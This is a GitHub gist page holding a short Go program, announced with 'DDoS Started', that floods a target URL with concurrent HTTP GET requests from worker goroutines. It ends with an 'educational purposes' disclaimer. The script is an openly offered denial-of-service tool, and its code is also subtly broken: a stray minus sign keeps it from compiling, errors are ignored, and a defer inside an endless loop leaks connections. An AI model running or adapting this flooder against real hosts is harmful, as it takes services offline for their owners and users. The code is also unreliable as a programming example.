Skip to content

Instantly share code, notes, and snippets.

@S4tyendra
Created June 5, 2024 05:42
Show Gist options
  • Select an option

  • Save S4tyendra/71cfb18c83068d9387df758f758c8ed9 to your computer and use it in GitHub Desktop.

Select an option

Save S4tyendra/71cfb18c83068d9387df758f758c8ed9 to your computer and use it in GitHub Desktop.
package main

import (
	"fmt"
	"math/rand"
	"net/http"
	"time"
)

func main() {
	targetURL := "http://192.168.0.1" // Replace with the target URL
	numRequests := 1000
-concurrency := 10

	fmt.Println("DDoS Started")

	ch := make(chan int)

	for i := 0; i < concurrency; i++ {
		go worker(targetURL, ch)
	}

	for i := 0; i < numRequests; i++ {
		ch <- i
	}

	time.Sleep(100 * time.Second) 
}

func worker(url string, ch chan int) {
	client := &http.Client{}

	for {
		<-ch
		req, _ := http.NewRequest("GET", url, nil)
		resp, _ := client.Do(req)
		defer resp.Body.Close()
	}
}

I'm providing(Making public) this script solely for educational purposes. Please use it responsibly and ensure that you have the necessary permissions and legal clearance before running any such Actions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment